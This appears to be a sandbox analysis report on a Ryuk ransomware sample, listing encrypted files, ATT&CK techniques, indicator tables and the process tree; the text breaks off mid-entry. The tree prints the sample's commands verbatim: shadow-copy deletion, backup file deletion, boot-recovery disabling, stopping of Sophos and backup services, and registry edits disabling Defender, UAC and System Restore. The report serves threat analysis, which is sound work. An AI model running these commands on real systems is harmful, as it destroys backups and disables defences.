File opened for modification	C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\System.Private.Uri.dll.[[email protected]].SURT	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\123.0.6312.123\Locales\fr.pak.[[email protected]].SURT	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\O365ProPlusR_SubTrial5-ul-oob.xrm-ms.[[email protected]].SURT	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened for modification	C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\en-US\about_should.help.txt.[[email protected]].SURT	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\reviews\css\main.css.[[email protected]].SURT	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Fonts\Cambria.xml.[[email protected]].SURT	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Analysis Services\AS OLEDB\140\Cartridges\sql70.xsl.[[email protected]].SURT	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\plugins\text_renderer\libtdummy_plugin.dll.[[email protected]].SURT	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Program crash 1 IoCs

pid	pid_target	Process	procid_target
9640	2500	Process not Found	2048

System Time Discovery 1 TTPs 4 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5740	cmd.exe
7904	net.exe
9288	net1.exe
9452	Process not Found

Interacts with shadow copies 3 TTPs 53 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
1452	vssadmin.exe
7660	Process not Found
9040	Process not Found
5080	Process not Found
9120	Process not Found
3172	Process not Found
5856	Process not Found
8472	Process not Found
9020	Process not Found
2304	Process not Found
3052	Process not Found
8196	Process not Found
4272	Process not Found
6976	Process not Found
6712	Process not Found
4764	Process not Found
9868	Process not Found
1476	Process not Found
9968	Process not Found
8216	Process not Found
7080	Process not Found
7716	Process not Found
6140	Process not Found
5584	Process not Found
3964	vssadmin.exe
2792	vssadmin.exe
2812	Process not Found
5544	Process not Found
2876	Process not Found
9380	Process not Found
2440	Process not Found
8624	Process not Found
7192	Process not Found
5232	Process not Found
2648	Process not Found
8092	Process not Found
4508	Process not Found
4564	Process not Found
5600	Process not Found
5420	Process not Found
8884	Process not Found
2460	Process not Found
9980	Process not Found
9056	Process not Found
8728	Process not Found
5972	Process not Found
1612	Process not Found
9032	Process not Found
7868	Process not Found
3756	Process not Found
9436	Process not Found
3900	Process not Found
9292	Process not Found

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
7356	Process not Found

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1956	schtasks.exe
2496	schtasks.exe
9336	Process not Found

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4584	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
4584	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
4584	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
4584	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeBackupPrivilege	364	vssvc.exe
Token: SeRestorePrivilege	364	vssvc.exe
Token: SeAuditPrivilege	364	vssvc.exe
Token: SeSecurityPrivilege	7980	wevtutil.exe
Token: SeBackupPrivilege	7980	wevtutil.exe
Token: SeSecurityPrivilege	1664	wevtutil.exe
Token: SeBackupPrivilege	1664	wevtutil.exe
Token: SeSecurityPrivilege	6644	wevtutil.exe
Token: SeBackupPrivilege	6644	wevtutil.exe
Token: SeSecurityPrivilege	8732	wevtutil.exe
Token: SeBackupPrivilege	8732	wevtutil.exe
Token: SeSecurityPrivilege	6600	wevtutil.exe
Token: SeBackupPrivilege	6600	wevtutil.exe
Token: SeSecurityPrivilege	9072	wevtutil.exe
Token: SeBackupPrivilege	9072	wevtutil.exe
Token: SeSecurityPrivilege	5088	wevtutil.exe
Token: SeBackupPrivilege	5088	wevtutil.exe
Token: SeSecurityPrivilege	8492	wevtutil.exe
Token: SeBackupPrivilege	8492	wevtutil.exe
Token: SeSecurityPrivilege	5960	wevtutil.exe
Token: SeBackupPrivilege	5960	wevtutil.exe
Token: SeSecurityPrivilege	3052	wevtutil.exe
Token: SeBackupPrivilege	3052	wevtutil.exe
Token: SeSecurityPrivilege	6096	wevtutil.exe
Token: SeBackupPrivilege	6096	wevtutil.exe
Token: SeSecurityPrivilege	2576	wevtutil.exe
Token: SeBackupPrivilege	2576	wevtutil.exe
Token: SeSecurityPrivilege	10192	wevtutil.exe
Token: SeBackupPrivilege	10192	wevtutil.exe
Token: SeSecurityPrivilege	2252	wevtutil.exe
Token: SeBackupPrivilege	2252	wevtutil.exe
Token: SeSecurityPrivilege	7504	wevtutil.exe
Token: SeBackupPrivilege	7504	wevtutil.exe
Token: SeSecurityPrivilege	4080	wevtutil.exe
Token: SeBackupPrivilege	4080	wevtutil.exe
Token: SeSecurityPrivilege	6248	wevtutil.exe
Token: SeBackupPrivilege	6248	wevtutil.exe
Token: SeSecurityPrivilege	8764	wevtutil.exe
Token: SeBackupPrivilege	8764	wevtutil.exe
Token: SeSecurityPrivilege	8816	wevtutil.exe
Token: SeBackupPrivilege	8816	wevtutil.exe
Token: SeSecurityPrivilege	2676	wevtutil.exe
Token: SeBackupPrivilege	2676	wevtutil.exe
Token: SeSecurityPrivilege	3540	wevtutil.exe
Token: SeBackupPrivilege	3540	wevtutil.exe
Token: SeSecurityPrivilege	9084	wevtutil.exe
Token: SeBackupPrivilege	9084	wevtutil.exe
Token: SeSecurityPrivilege	780	wevtutil.exe
Token: SeBackupPrivilege	780	wevtutil.exe
Token: SeSecurityPrivilege	6376	wevtutil.exe
Token: SeBackupPrivilege	6376	wevtutil.exe
Token: SeSecurityPrivilege	8428	wevtutil.exe
Token: SeBackupPrivilege	8428	wevtutil.exe
Token: SeSecurityPrivilege	8952	wevtutil.exe
Token: SeBackupPrivilege	8952	wevtutil.exe
Token: SeSecurityPrivilege	2112	wevtutil.exe
Token: SeBackupPrivilege	2112	wevtutil.exe
Token: SeSecurityPrivilege	8444	wevtutil.exe
Token: SeBackupPrivilege	8444	wevtutil.exe
Token: SeSecurityPrivilege	3016	wevtutil.exe
Token: SeBackupPrivilege	3016	wevtutil.exe
Token: SeSecurityPrivilege	1020	wevtutil.exe
Token: SeBackupPrivilege	1020	wevtutil.exe
Token: SeSecurityPrivilege	3900	wevtutil.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4584 wrote to memory of 2108	4584	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe	86
PID 4584 wrote to memory of 2108	4584	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe	86
PID 4584 wrote to memory of 2656	4584	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe	89
PID 4584 wrote to memory of 2656	4584	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe	89
PID 4584 wrote to memory of 4092	4584	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe	90
PID 4584 wrote to memory of 4092	4584	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe	90
PID 4092 wrote to memory of 3012	4092	cmd.exe	91
PID 4092 wrote to memory of 3012	4092	cmd.exe	91
PID 4584 wrote to memory of 3520	4584	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe	93
PID 4584 wrote to memory of 3520	4584	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe	93
PID 4584 wrote to memory of 2120	4584	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe	94
PID 4584 wrote to memory of 2120	4584	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe	94
PID 4584 wrote to memory of 620	4584	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe	92
PID 4584 wrote to memory of 620	4584	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe	92
PID 2120 wrote to memory of 3964	2120	cmd.exe	95
PID 2120 wrote to memory of 3964	2120	cmd.exe	95
PID 3520 wrote to memory of 2792	3520	cmd.exe	97
PID 3520 wrote to memory of 2792	3520	cmd.exe	97
PID 620 wrote to memory of 4604	620	cmd.exe	96
PID 620 wrote to memory of 4604	620	cmd.exe	96
PID 4604 wrote to memory of 3176	4604	net.exe	98
PID 4604 wrote to memory of 3176	4604	net.exe	98
PID 4584 wrote to memory of 4464	4584	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe	100
PID 4584 wrote to memory of 4464	4584	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe	100
PID 4464 wrote to memory of 4412	4464	cmd.exe	101
PID 4464 wrote to memory of 4412	4464	cmd.exe	101
PID 4412 wrote to memory of 5052	4412	net.exe	103
PID 4412 wrote to memory of 5052	4412	net.exe	103
PID 4584 wrote to memory of 4436	4584	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe	104
PID 4584 wrote to memory of 4436	4584	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe	104
PID 4436 wrote to memory of 4472	4436	cmd.exe	105
PID 4436 wrote to memory of 4472	4436	cmd.exe	105
PID 4472 wrote to memory of 3904	4472	net.exe	106
PID 4472 wrote to memory of 3904	4472	net.exe	106
PID 4584 wrote to memory of 4960	4584	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe	107
PID 4584 wrote to memory of 4960	4584	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe	107
PID 4960 wrote to memory of 736	4960	cmd.exe	108
PID 4960 wrote to memory of 736	4960	cmd.exe	108
PID 736 wrote to memory of 4600	736	net.exe	109
PID 736 wrote to memory of 4600	736	net.exe	109
PID 4584 wrote to memory of 2112	4584	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe	110
PID 4584 wrote to memory of 2112	4584	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe	110
PID 4584 wrote to memory of 3928	4584	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe	111
PID 4584 wrote to memory of 3928	4584	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe	111
PID 4584 wrote to memory of 3668	4584	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe	112
PID 4584 wrote to memory of 3668	4584	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe	112
PID 2112 wrote to memory of 1452	2112	cmd.exe	113
PID 2112 wrote to memory of 1452	2112	cmd.exe	113
PID 3928 wrote to memory of 3640	3928	cmd.exe	114
PID 3928 wrote to memory of 3640	3928	cmd.exe	114
PID 3640 wrote to memory of 1568	3640	net.exe	115
PID 3640 wrote to memory of 1568	3640	net.exe	115
PID 3668 wrote to memory of 1512	3668	cmd.exe	116
PID 3668 wrote to memory of 1512	3668	cmd.exe	116
PID 4584 wrote to memory of 4704	4584	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe	117
PID 4584 wrote to memory of 4704	4584	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe	117
PID 4584 wrote to memory of 3676	4584	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe	118
PID 4584 wrote to memory of 3676	4584	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe	118
PID 4584 wrote to memory of 2948	4584	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe	119
PID 4584 wrote to memory of 2948	4584	2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe	119
PID 4704 wrote to memory of 1664	4704	cmd.exe	120
PID 4704 wrote to memory of 1664	4704	cmd.exe	120
PID 2948 wrote to memory of 2076	2948	cmd.exe	121
PID 2948 wrote to memory of 2076	2948	cmd.exe	121

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

Views/modifies file attributes 1 TTPs 8 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
3252	attrib.exe
4960	attrib.exe
9240	Process not Found
9404	Process not Found
9392	Process not Found
9512	Process not Found
4980	Process not Found
6124	Process not Found

C:\Users\Admin\AppData\Local\Temp\2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe
"C:\Users\Admin\AppData\Local\Temp\2025-03-06_6c2b5d1e5204f83e16265da3600d48e0_ryuk.exe"
1⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4584
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\Service
  2⤵
  PID:2108
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c @echo off
  2⤵
  PID:2656
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c chcp 437
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4092
- - C:\Windows\system32\chcp.com
    chcp 437
    3⤵
    PID:3012
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "Acronis VSS Provider"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:620
- - C:\Windows\system32\net.exe
    net stop "Acronis VSS Provider"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4604
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "Acronis VSS Provider"
      4⤵
      PID:3176
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3520
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:2792
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c vssadmin Delete Shadows /all /quiet
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2120
- - C:\Windows\system32\vssadmin.exe
    vssadmin Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3964
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop " Enterprise Client Service"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4464
- - C:\Windows\system32\net.exe
    net stop " Enterprise Client Service"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4412
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop " Enterprise Client Service"
      4⤵
      PID:5052
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "Sophos Agent"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4436
- - C:\Windows\system32\net.exe
    net stop "Sophos Agent"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4472
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "Sophos Agent"
      4⤵
      PID:3904
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "Sophos AutoUpdate Service"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4960
- - C:\Windows\system32\net.exe
    net stop "Sophos AutoUpdate Service"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:736
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "Sophos AutoUpdate Service"
      4⤵
      PID:4600
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2112
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:1452
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "Sophos Clean Service"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3928
- - C:\Windows\system32\net.exe
    net stop "Sophos Clean Service"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3640
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "Sophos Clean Service"
      4⤵
      PID:1568
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3668
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1512
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4704
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1664
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /s /f /q C:\*.bac C:\*.bak C:\*.bkf C:\Backup*.* C:\backup*.*
  2⤵
  PID:3676
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "Sophos Device Control Service"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2948
- - C:\Windows\system32\net.exe
    net stop "Sophos Device Control Service"
    3⤵
    PID:2076
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "Sophos Device Control Service"
      4⤵
      PID:3380
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
  2⤵
  PID:4720
- - C:\Windows\system32\reg.exe
    reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    - UAC bypass
    PID:1584
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "Sophos File Scanner Service"
  2⤵
  PID:2748
- - C:\Windows\system32\net.exe
    net stop "Sophos File Scanner Service"
    3⤵
    PID:844
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "Sophos File Scanner Service"
      4⤵
      PID:728
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f
  2⤵
  PID:3356
- - C:\Windows\system32\reg.exe
    reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f
    3⤵
    PID:1152
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  PID:5060
- - C:\Windows\system32\reg.exe
    reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    PID:3424
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "Sophos Health Service"
  2⤵
  PID:3596
- - C:\Windows\system32\net.exe
    net stop "Sophos Health Service"
    3⤵
    PID:3756
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "Sophos Health Service"
      4⤵
      PID:1400
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
  2⤵
  PID:3896
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender DisableAntiSpyware settings
    PID:4480
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\System /v AllowBlockingAppsAtShutdown /t REG_DWORD /d 1 /f
  2⤵
  PID:1640
- - C:\Windows\system32\reg.exe
    reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\System /v AllowBlockingAppsAtShutdown /t REG_DWORD /d 1 /f
    3⤵
    PID:1468
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "Sophos MCS Agent"
  2⤵
  PID:4488
- - C:\Windows\system32\net.exe
    net stop "Sophos MCS Agent"
    3⤵
    PID:636
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "Sophos MCS Agent"
      4⤵
      PID:916
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v StartMenuLogOff /t REG_DWORD /d 1 /f
  2⤵
  PID:4084
- - C:\Windows\system32\reg.exe
    reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v StartMenuLogOff /t REG_DWORD /d 1 /f
    3⤵
    PID:1840
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
  2⤵
  PID:3220
- - C:\Windows\system32\reg.exe
    reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
    3⤵
    PID:2412
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "Sophos MCS Client"
  2⤵
  PID:424
- - C:\Windows\system32\net.exe
    net stop "Sophos MCS Client"
    3⤵
    PID:1944
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "Sophos MCS Client"
      4⤵
      PID:4056
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 1 /f
  2⤵
  PID:3248
- - C:\Windows\system32\reg.exe
    reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 1 /f
    3⤵
    PID:2860
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f
  2⤵
  PID:2180
- - C:\Windows\system32\reg.exe
    reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f
    3⤵
    PID:2712
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "Sophos Message Router"
  2⤵
  PID:4928
- - C:\Windows\system32\net.exe
    net stop "Sophos Message Router"
    3⤵
    PID:5012
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "Sophos Message Router"
      4⤵
      PID:3056
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoLogoff /t REG_DWORD /d 1 /f
  2⤵
  PID:4788
- - C:\Windows\system32\reg.exe
    reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoLogoff /t REG_DWORD /d 1 /f
    3⤵
    PID:2572
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "Sophos Safestore Service"
  2⤵
  PID:4724
- - C:\Windows\system32\net.exe
    net stop "Sophos Safestore Service"
    3⤵
    PID:2192
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "Sophos Safestore Service"
      4⤵
      PID:1984
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum /v {645FF040-5081-101B-9F08-00AA002F954E} /t REG_DWORD /d 1 /f
  2⤵
  PID:4312
- - C:\Windows\system32\reg.exe
    reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum /v {645FF040-5081-101B-9F08-00AA002F954E} /t REG_DWORD /d 1 /f
    3⤵
    PID:2600
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WinRE /v DisableSetup /t REG_DWORD /d 1 /f
  2⤵
  PID:2232
- - C:\Windows\system32\reg.exe
    reg add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WinRE /v DisableSetup /t REG_DWORD /d 1 /f
    3⤵
    PID:3540
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "Sophos System Protection Service"
  2⤵
  PID:3256
- - C:\Windows\system32\net.exe
    net stop "Sophos System Protection Service"
    3⤵
    PID:3860
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "Sophos System Protection Service"
      4⤵
      PID:3700
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f
  2⤵
  PID:4612
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f
    3⤵
    PID:4092
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "Sophos Web Control Service"
  2⤵
  PID:2228
- - C:\Windows\system32\net.exe
    net stop "Sophos Web Control Service"
    3⤵
    PID:4892
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "Sophos Web Control Service"
      4⤵
      PID:3176
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
  2⤵
  PID:1476
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
    3⤵
    PID:3608
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToDisk /t REG_DWORD /d 1 /f
  2⤵
  PID:4604
- - C:\Windows\system32\reg.exe
    reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToDisk /t REG_DWORD /d 1 /f
    3⤵
    PID:620
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "SQLsafe Backup Service"
  2⤵
  PID:4456
- - C:\Windows\system32\net.exe
    net stop "SQLsafe Backup Service"
    3⤵
    PID:2560
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "SQLsafe Backup Service"
      4⤵
      PID:2772
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToNetwork /t REG_DWORD /d 1 /f
  2⤵
  PID:2568
- - C:\Windows\system32\reg.exe
    reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToNetwork /t REG_DWORD /d 1 /f
    3⤵
    PID:1724
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "SQLsafe Filter Service"
  2⤵
  PID:4472
- - C:\Windows\system32\net.exe
    net stop "SQLsafe Filter Service"
    3⤵
    PID:2336
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "SQLsafe Filter Service"
      4⤵
      PID:2344
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToOptical /t REG_DWORD /d 1 /f
  2⤵
  PID:1784
- - C:\Windows\system32\reg.exe
